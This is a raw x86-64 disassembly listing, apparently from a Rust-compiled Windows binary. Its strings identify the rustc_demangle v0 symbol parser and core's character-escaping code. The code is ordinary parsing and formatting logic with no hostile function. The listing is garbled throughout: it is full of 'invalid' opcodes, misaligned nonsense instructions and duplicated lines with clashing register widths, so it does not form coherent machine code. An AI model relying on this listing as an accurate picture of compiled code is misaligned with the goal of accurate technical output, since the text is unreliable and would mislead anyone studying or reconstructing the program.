movsxd r11, dword [rdi + r11*4]
sbb al, 0x9f
add r11, rdi
jmp r11
cmp r9, r10
cmp ecx, edx
jae case.0x1400ca0d6.39
cmp byte [r8 + r9], 0x6e
cmp al, 8
outsb dx, byte [rsi]
jne case.0x1400ca0d6.39
add rcx, 2
mov qword [rsi + 0x10], rcx
adc byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je case.0x1400ca0d6.39
lea rax, [0x140144019]
mov r8d, 1
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov ebx, edx
mov rdx, rax
call fcn.140013870
dec dword [rcx + 0x1b740da]
dec dword [rcx + 0x1b740da]
mov bh, 1
test al, al
jne 0x1400ca50f
mov rcx, rsi
mov ecx, esi
call fcn.1400ca8e0
add byte [rax], al
mov dil, 1
test al, al
jne 0x1400ca50f
test edx, esp
add eax, dword [rax]
invalid
test edx, esp
add eax, dword [rax]
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
add byte [rdi], cl
cmp qword [rsi], 0
add byte [rdi], cl
je 0x1400ca50d
test dh, dl
add eax, dword [rax]
add bh, bh
dec dword [rsi + 0x18]
invalid
invalid
dec dword [rsi + 0x18]
jmp 0x1400ca50d
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
mov rdx, rsi
call fcn.1400cad40
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1400ca2da
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
push rbp
add al, ch
jg 0x1400ca16b
add byte [rax], al
mov rdx, qword [rbp]
call fcn.1400cade0
add byte [rax], al
cmp rax, 1
add dword [rdi], ecx
jne case.0x1400ca0d6.2
test dword [rcx + 0x48000000], ebx
cmp rdx, 1
cmp edx, 1
je 0x1400ca675
test rdx, rdx
jne case.0x1400ca0d6.2
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400ca12d
lea rdx, [0x14014427c]
mov r8d, 5
add eax, 0xe9000000
cmpsb byte [rsi], byte [rdi]
add al, 0
invalid
add eax, 0xe9000000
cmpsb byte [rsi], byte [rdi]
add al, 0
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400ca12d
lea rdx, [0x14014416a]
jmp 0x1400ca639
rcr dword [rdi - 0x7416fff9], 4
add byte [rax], al
test al, al
je 0x1400ca305
xor ebx, ebx
jmp 0x1400ca468
lea rcx, [rbp - 8]
clc
mov rdx, rsi
call fcn.1400cad40
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1400ca2da
mov rdx, qword [rbp]
call fcn.1400cade0
test rax, rax
je case.0x1400ca0d6.2
mov rax, rdx
shr rax, 0x20
jne case.0x1400ca0d6.2
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jae 0x1400ca691
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca22a
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x1400ca50d
test al, al
je 0x1400ca336
mov rcx, rsi
mov edx, eax
call fcn.1400cabb0
jmp case.0x1400b984a.70
cmp r9, r10
jae case.0x1400ca0d6.16
test al, al
je 0x1400ca2a2
test al, al
je 0x1400ca367
test al, al
je 0x1400ca398
movzx ebx, byte [rbp]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400ca435
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca466
lea rdx, [0x140144285]
mov r8d, 1
call fcn.140013870
mov bl, 1
mov dil, 1
test al, al
je 0x1400ca468
jmp 0x1400ca50f
mov bl, 1
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.1400c8660
test al, al
jne 0x1400ca50f
mov rax, qword [rsi]
test rax, rax
je 0x1400ca4ea
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400ca649
movzx eax, byte [rax + rcx]
inc rcx
mov qword [rsi + 0x10], rcx
cmp eax, 0x53
je 0x1400ca69f
cmp eax, 0x55
je 0x1400ca61d
cmp eax, 0x54
jne 0x1400ca649
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca4d8
lea rdx, [0x140143ec1]
mov r8d, 1
call fcn.140013870
test al, al
jne 0x1400ca50f
mov rcx, rsi
call fcn.1400cb360
test rax, rax
jne 0x1400ca50f
jmp 0x1400ca5c5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca50d
lea rdx, [0x140144211]
mov r8d, 1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013870
xor edi, edi
mov eax, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca61d
lea rdx, [0x14014d458]
mov r8d, 1
call fcn.140013870
jmp 0x1400ca615
test al, al
jne 0x1400ca50f
test bl, bl
je 0x1400ca12d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca12d
lea rdx, [0x140149c0b]
mov r8d, 1
call fcn.140013870
jmp case.0x1400b984a.70
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca22a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013870
test al, al
je 0x1400ca22a
jmp 0x1400ca50f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca12d
lea rdx, [0x140144281]
mov r8d, 4
jmp 0x1400ca63f
mov rcx, qword [rsi + 0x20]
call fcn.1400cafa0
jmp case.0x1400b984a.70
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca6c2
lea rdx, [0x140144286]
mov r8d, 3
call fcn.140013870
test al, al
jne 0x1400ca50f
mov rcx, rsi
call fcn.1400cb4b0
test rax, rax
jne 0x1400ca50f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca61d
lea rdx, [0x140144289]
mov r8d, 2
jmp 0x1400ca5db
mov rbx, rcx
xor edi, edi
lea r14, [0x140144219]
xor esi, esi
nop word cs:[rax + rax]
invalid
add byte [rax - 0x75], cl
adc byte [r8 + 0x3b], cl
or byte [r11 + 6], sil
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 8]
jae 0x1400cb440
cmp byte [rax + rcx], 0x45
je 0x1400cb488
test rsi, rsi
je 0x1400cb460
mov rcx, qword [rbx + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x1400cb460
mov r8d, 2
mov rdx, r14
call fcn.140013870
test al, al
jne 0x1400cb481
mov rcx, rbx
mov dl, 1
call fcn.1400ca030
test al, al
jne 0x1400cb481
inc rsi
mov rax, qword [rbx]
test rax, rax
jne case.0x14005cd83.504
jmp 0x1400cb491
mov edi, 1
jmp 0x1400cb491
inc rcx
mov qword [rbx + 0x10], rcx
xor edi, edi
invalid
dec dword [rax - 0x77]
clc
mov rax, rdi
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add dword [rbp - 0x7b], ecx
ror byte [rdi], 0x84
pop rdi
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
pop rbp
ror byte [rbp + rcx*4 + 0x35], 0xaa
fild word [rdi]
add byte [rbp + 0x31], al
dec dword [rbx + rcx*4 + 0x4e]
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
invalid
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], r9b
invalid
enter 0xb73, 0x41
cmp byte [rax + rax], 0x45
jae 0x1400cb504
cmp byte [r8 + rax], 0x45
je 0x1400cb702
test r15, r15
je 0x1400cb53c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cb53c
mov r8d, 2
lea rdx, [0x140144219]
add byte [rax - 0x73], cl
adc eax, 0x78cfa
call fcn.140013870
test al, al
jne 0x1400cb6c4
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 6], cl
mov r8, qword [rsi]
test r8, r8
test eax, eax
je 0x1400cb575
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], r9b
invalid
cmp rax, r9
enter 0xffffffffffff830f, 0xffffffffffffffeb
add byte [rax], al
add byte [rcx - 0x80], al
cmp al, 0
jae 0x1400cb55a
jae 0x1400cb630
cmp byte [r8 + rax], 0x73
jne 0x1400cb630
test eax, esp
add byte [rax], al
add byte [rax - 0x73], cl
add qword [rax - 0x77], rcx
adc byte [rcx + r15 - 0x37], r9b
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
leave
jae 0x1400cb6a5
cmp byte [r8 + rcx], 0x5f
jne 0x1400cb5a7
add rax, 2
mov qword [rsi + 0x10], rax
adc cl, ch
invalid
add byte [rax], al
invalid
adc cl, ch
mov ebx, 0x48000000
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test rcx, rcx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cb730
add byte [rax], al
mov r13d, 1
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
lea rdx, [0x140144211]
call fcn.140013870
test al, al
je 0x1400cb691
jmp 0x1400cb733
xor eax, eax
nop dword [rax]
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je case.0x1400733a2.435
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x1400cb5f4
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
cmp dl, 0x1a
jae 0x1400cb5e0
add dl, 0xa9
jmp 0x1400cb5f1
test eax, 0x66661eeb
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
cmp dl, 0x1a
jae 0x1400cb6a5
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul r12
jo 0x1400cb6a5
movzx edx, r10b
add rax, rdx
jb 0x1400cb6a5
xchg esp, eax
add byte [rax], al
invalid
xchg esp, eax
add byte [rax], al
add byte [rcx + rdi - 0x37], cl
cmp rcx, r9
jb 0x1400cb5b0
jmp 0x1400cb6a5
inc rcx
mov qword [rsi + 0x10], rcx
invalid
adc byte [rax - 0x7d], cl
clc
std
cmp rax, 0xfffffffffffffffd
ja 0x1400cb6a5
xchg dword [rcx], edi
jns 0x1400cb62a
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
nop dword [rax]
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov rdx, rsi
call fcn.1400c9030
cmp qword [rbp - 0x18], 0
jge 0x1400cb627
add byte [rdi], cl
invalid
xchg ebx, eax
add byte [rax], al
invalid
jge 0x1400cb627
add byte [rdi], cl
test byte [rbx + 0xf000000], dl
adc byte [rbp - 0x18], al
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x1400cb683
mov rcx, rbx
mov rdx, r13
call fcn.1400c9220
test al, al
jne 0x1400cb6c4
mov r8d, 2
mov rcx, r13
mov rdx, r14
call fcn.140013870
test al, al
jne 0x1400cb6c4
mov rcx, rsi
mov dl, 1
call fcn.1400ca030
test al, al
jne 0x1400cb6c4
mov r8, qword [rsi]
inc r15
test r8, r8
test eax, eax
test eax, eax
jne 0x1400cb4ec
jmp 0x1400cb730
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cb6cc
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013870
test al, al
je 0x1400cb6cc
mov r13d, 1
jmp 0x1400cb733
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x1400cb730
movzx ebx, byte [rbp - 0x10]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400cb70b
test rcx, rcx
je 0x1400cb726
lea rdx, [0x1401441f8]
adc eax, 0x78b07
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
call fcn.140013870
test al, al
jne 0x1400cb6c4
jmp 0x1400cb726
inc rax
mov qword [rsi + 0x10], rax
jmp 0x1400cb730
test rcx, rcx
test ecx, ecx
je 0x1400cb726
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013870
test al, al
jne 0x1400cb6c4
sal byte [rbp - 0x62], 0x48
mov dword [rsi], 0
invalid
mov qword [rsi], 0
mov byte [rsi + 8], bl
xor r13d, r13d
xor ebp, ebp
mov rax, r13
add rsp, 0x68
invalid
invalid
pop rbx
pop rdi
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
push rcx
or byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rax + 0x44000003], ebp
movzx edx, byte [rax]
mov dh, 0x10
mov dh, 0x10
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
cmp eax, 0xa
jb case.0x140095028.354
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
add edx, 0xa
retf 0x4120
add edx, 0xa
mov eax, 0xffffffff
cmovae eax, r10d
cmp eax, 0x10
adc byte [rdi], cl
sub dword [rbx + rax], 0
inc dword [rcx + 0xf]
ret 0xf883
adc byte [rdi], cl
sub dword [rbx + rax], 0
lea r10d, [r8 - 0x30]
cmp r10d, 0xa
jb 0x1400cb7eb
or r8d, 0x20
or eax, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r10d, 0xffffffff
invalid
invalid
invalid
ror byte [rdx], 0x41
mov edx, 0xffffffff
invalid
invalid
invalid
inc dword [rbp + 0xf]
rol byte [r9 - 0x7d], 1
invalid
invalid
cmovae r10d, r8d
cmp r10d, 0x10
jae 0x1400cbb2d
cli
adc byte [rdi], cl
add dword [rdx + 3], 0
add al, al
loopne 0x1400cb7f2
shl al, 4
or r10b, al
js 0x1400cb838
mov byte [rbp + 0x34], r10b
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea rax, [rbp + 0x34]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
mov r8d, 1
lea rsi, [rbp - 0x18]
lea rdx, [rbp + 0x34]
mov rcx, rsi
call fcn.140014520
cmp qword [rbp - 0x18], 0
je 0x1400cb857
mov eax, 0x110000
jmp 0x1400cbb21
add al, byte [rax]
invalid
mov eax, 0x110000
cmp r10b, 0xc0
jb 0x1400cbb21
fiadd dword [rdx]
add byte [rax], al
cmp r10b, 0xe0
jae 0x1400cb891
mov r8d, 2
xor eax, eax
jmp 0x1400cb8a3
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], rax
loopne 0x1400cb8b0
lea edx, [rcx + rax]
loopne 0x1400cb8b0
lea edx, [rcx + rax]
test rax, rax
test eax, eax
je case.0x1400a4d60.227
movzx eax, byte [rcx]
test al, al
js 0x1400cba2a
invalid
add byte [rbp + rcx*4 + 0x41], cl
add ecx, ebp
and byte [rdx], al
add al, byte [rax]
invalid
lea r8, [rcx + 1]
jmp 0x1400cbaa4
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0x110000], bh
mov eax, 0x110000
mov eax, 0x110000
mov r8, rcx
jmp 0x1400cbaa4
cmp r10b, 0xf0
jae 0x1400cba71
add byte [rbp + rcx*4 + 0x5d], cl
xor al, 0x4c
mov dword [rbp + 0x20], ebx
mov qword [rbp + 0x28], r8
cmp rdx, 2
jb 0x1400cb82e
lea rsi, [r9 + 2]
lea r11, [rdx - 2]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
movzx ebx, byte [r9]
movzx ebx, byte [rcx]
movzx ebx, byte [rcx]
movzx edi, byte [r9 + 1]
lea esi, [rbx - 0x30]
jae 0x1400cb8b2
cmp esi, 0xa
jb 0x1400cb901
jae 0x1400cb8b2
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
cmovae esi, ebx
cmp esi, 0xf
ja 0x1400cbb2d
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x1400cb923
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov ebx, 0xffffffff
cmovae ebx, edi
cmp ebx, 0xf
ja 0x1400cbb2d
shl sil, 4
shl dh, 4
or bl, sil
mov byte [rbp + 0x35], bl
pop rbp
xor eax, 0xe0fa8041
invalid
pop rbp
xor eax, 0xe0fa8041
invalid
loopne 0x1400cb941
jb 0x1400cb817
invalid
cmp r11, 2
jb 0x1400cb82e
sti
add cl, byte [rdi]
invalid
lea r11, [r9 + 4]
lea r10, [rdx - 4]
add al, 0x4c
lea edx, [rdx - 4]
mov qword [rcx], r11
mov qword [rcx + 8], r10
movzx edi, byte [r9 + 2]
movzx esi, byte [r9 + 3]
lea r11d, [rdi - 0x30]
lea ebx, [rdi - 0x30]
cmp r11d, 0xa
jb 0x1400cb981
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov r11d, 0xffffffff
cmovae r11d, edi
cmovae ebx, edi
cmp r11d, 0xf
sti
invalid
ja 0x1400cbb2d
invalid
sti
invalid
add byte [rbp - 0x7c2f82], cl
or dh, byte [rdx + 0x1a]
jb 0x1400cb9a3
lea edi, [rsi - 0x30]
cmp edi, 0xa
jb 0x1400cb9a3
or esi, 0x20
add esi, 0xffffff9f
lahf
lahf
add esi, 0xa
mov edi, 0xffffffff
invalid
invalid
invalid
invalid
cmovae edi, esi
cmp edi, 0xf
ja 0x1400cbb2d
invalid
mov al, byte [rcx]
add byte [rax], al
xchg dword [rdx + 0x41000001], ecx
shl bl, 4
jrcxz 0x1400cb9ab
shl r11b, 4
jrcxz 0x1400cb9ab
or dil, r11b
mov byte [rbp + 0x36], dil
mov byte [rbp + 0x36], bh
test al, al
jne 0x1400cb817
invalid
cmp r10, 2
jb 0x1400cb82e
lea rax, [r9 + 6]
add rdx, 0xfffffffffffffffa
cli
mov qword [rcx], rax
mov dword [rcx], eax
mov qword [rcx + 8], rdx
mov dword [rcx + 8], edx
movzx edx, byte [r9 + 4]
movzx edx, byte [rcx + 4]
movzx ecx, byte [r9 + 5]
lea eax, [rdx - 0x30]
cmp eax, 0xa
clc
or dh, byte [rdx + 0x1a]
add rax, 0xffffffff83d0428d
clc
or dh, byte [rdx + 0x1a]
sbb al, byte [rbx - 0x3d7cdf36]
lahf
or edx, 0x20
add edx, 0xffffff9f
ret 0x839f
add edx, 0xa
mov eax, 0xffffffff
invalid
invalid
invalid
dec dword [rdi]
invalid
invalid
cmp eax, 0xf
ja 0x1400cbb2d
xor al, byte [rcx]
add byte [rax], al
xor al, byte [rcx]
add byte [rax], al
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x1400cba1d
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
mov edx, 0xffffffff
invalid
invalid
invalid
dec dword [rdi]
rol dword [r11 - 0x78f0f006], 1
cmp edx, 0xf
ja 0x1400cbb2d
add byte [rax], al
dec dword [rdi]
rol dword [r11 - 0x78f0f006], 1
cmp edx, 0xf
invalid
xchg dword [rax], edx
invalid
add byte [rax], al
shl al, 4
or dl, al
mov byte [rbp + 0x37], dl
jmp 0x1400cb817
invalid
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
pop rcx
add dword [rcx - 0x7d], eax
jrcxz 0x1400cba79
pop rcx
add dword [rcx - 0x7d], eax
jrcxz 0x1400cba79
cmp al, 0xdf
jbe 0x1400cba86
fbstp tbyte [rsi + 0x48]
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
loop 0x1400cba8a
loop 0x1400cba8a
or r10d, r11d
cmp al, 0xf0
jb 0x1400cba96
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
mov dh, 0x41
add eax, dword [rcx - 0x7d]
loope case.0x1400b50e9.185
add al, 0xf
mov dh, 0x41
add eax, dword [rcx - 0x7d]
loope case.0x1400b50e9.185
shl r9d, 0x12
shl r10d, 6
invalid
and eax, 0x3f
or eax, r10d
invalid
or eax, r9d
jmp 0x1400cbaa4
cli
clc
jae 0x1400cbb21
invalid
add byte [rax], al
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
add cl, ch
int 0xfd
invalid
jmp 0x1400cb853
lea eax, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x1400cbaa4
invalid
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x1400cbb12
movzx r9d, byte [r8]
test r9b, r9b
jns 0x1400cbb51
cmp r9b, 0xe0
cmp cl, 0xe0
jb 0x1400cbb51
add byte [rax], al
cmp r9b, 0xf0
jb 0x1400cbb51
invalid
xchg dword [rax], eax
add byte [rax], al
invalid
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
push rax
add dword [rcx - 0x7d], eax
loop 0x1400cbb12
movzx r11d, byte [r8 + 2]
movzx ebx, byte [rax + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
and ecx, 7
invalid
and ecx, 7
shl r9d, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
add byte [rcx], dl
add byte [rcx + 0xf], al
xchg esp, eax
invalid
add byte [rcx], dl
add byte [rcx + 0xf], al
xchg esp, eax
sar byte [0x1401dbb0f], 0x75
cmp eax, 0x110000
invalid
cmp eax, 0x110000
jne 0x1400cbb1c
invalid
or al, 0xeb
invalid
jmp 0x1400cbb51
mov r8b, 1
cmp eax, 0x110000
je 0x1400cbb51
test r8b, r8b
je 0x1400cbb51
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.140108690
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.140108350
call fcn.1400cbdd0
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400cbeb0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 8], rax
lea rax, [0x1400d6cb0]
mov qword [rbp], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 8], rax
lea rax, [fcn.140012f00]
mov qword [rbp + 0x10], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_foundh_
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rbp - 0x58]
call fcn.140108280
add eax, dword [rax]
add eax, dword [rax]
int3
int3
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
cmp edx, 0x27
ja 0x1400cbbfd
cli
invalid
mov eax, edx
lea r8, [0x140178188]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov word [rcx], 0x305c
jmp 0x1400cbcc6
cmp edx, 0x5c
jne case.0x1400cbbf1.1
mov word [rcx], 0x5c5c
jmp 0x1400cbcc6
mov rsi, rcx
cmp edx, 0x2ff
jbe 0x1400cbcdc
mov ecx, edx
mov edi, edx
call fcn.140017ef0
mov edx, edi
test al, al
je 0x1400cbcdc
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov ecx, edx
shr ecx, 0x14
and ecx, 0xf
lea rax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx ecx, byte [rcx + rax]
mov byte [rbp - 7], cl
mov ecx, edx
shr ecx, 0x10
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 6], cl
mov ecx, edx
shr ecx, 0xc
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 5], cl
mov ecx, edx
shr ecx, 8
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 4], cl
mov ecx, edx
shr ecx, 4
and ecx, 0xf
movzx ecx, byte [rcx + rax]
mov byte [rbp - 3], cl
mov ecx, edx
and ecx, 0xf
movzx eax, byte [rcx + rax]
mov byte [rbp - 2], al
or edx, 1
bsr ecx, edx
jmp 0x1400cbd65
mov word [rcx], 0x6e5c
jmp 0x1400cbcc6
mov word [rcx], 0x745c
jmp 0x1400cbcc6
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov edi, edx
mov ecx, edx
call fcn.140017db0
test al, al
je 0x1400cbcf1
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x1400cbcd4
mov byte [rbp - 8], 0
mov word [rbp - 0xa], 0
mov byte [rbp - 1], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx edx, byte [rdx + rcx]
mov byte [rbp - 7], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 6], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 5], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 4], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 3], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 2], cl
or eax, 1
bsr ecx, eax
xor ecx, 0x1c
shr ecx, 2
add rcx, 0xfffffffffffffffe
cmp rcx, 0xb
jae 0x1400cbd9c
mov byte [rbp + rcx - 8], 0x7b
mov word [rbp + rcx - 0xa], 0x755c
movzx eax, word [rbp - 2]
mov word [rsi + 8], ax
mov rax, qword [rbp - 0xa]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x1400cbcd4
lea r8, str.librarycore_srcescape.rs
mov edx, 0xa
call fcn.1401082c0
int3
mov al, 1
jmp 0x1400cd499
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400cd290
cmp byte [rax + rcx], 0x45
je 0x1400cd2fc
sub rbx, 1
jb 0x1400cd2b1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd2b1
mov r8d, 2
mov rdx, rdi
call fcn.140013870
test al, al
jne 0x1400cd237
mov rcx, rsi
call fcn.1400c9930
test al, al
jne 0x1400cd237
mov rax, qword [rsi]
test rax, rax
jne 0x1400cd280
xor eax, eax
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd30c
lea rdx, [0x14014d458]
mov r8d, 1
call fcn.140013870
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd499
mov rax, qword [rsi]
test rax, rax
jne 0x1400cd311
jmp 0x1400cd32d
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x1400cd2d4
test rax, rax
je 0x1400cd32d
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400cd32d
cmp byte [rax + rcx], 0x75
jne 0x1400cd32d
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x1400cd497
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cd354
lea rdx, [0x140144275]
mov r8d, 4
call fcn.140013870
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400cd499
mov rcx, rsi
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.1400c9930
xor eax, eax
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r9, qword [rbp]
lea rcx, [r9 + r11]
cmp rcx, rdx
jae 0x1400cd798
mov r12, qword [rbp - 8]
mov r13, qword [rbp - 0x20]
loopne 0x1400cd5e9
mov edx, dword [rbp - 0x10]
loopne 0x1400cd5e9
mov edx, dword [rbp - 0x10]
mov rsi, rax
mov qword [rbp + 0x40], r10
sub rsi, r10
mov qword [rbp + 0x48], rsi
jmp 0x1400cd5c3
add r9, rax
xor r15d, r15d
lea rcx, [r9 + r11]
sbb dword [rax + 0x39], ecx
ror dword [rdi], 1
adc ebp, 1
add byte [rax], al
sbb dword [rax + 0x39], ecx
ror dword [rdi], 1
adc ebp, 1
add byte [rax], al
movzx ecx, byte [r8 + rcx]
bt r12, rcx
jae 0x1400cd5b0
cmp r13, r15
mov rdi, r15
cmova rdi, r13
std
std
lea r10, [r8 + r9]
mov rcx, rdi
nop
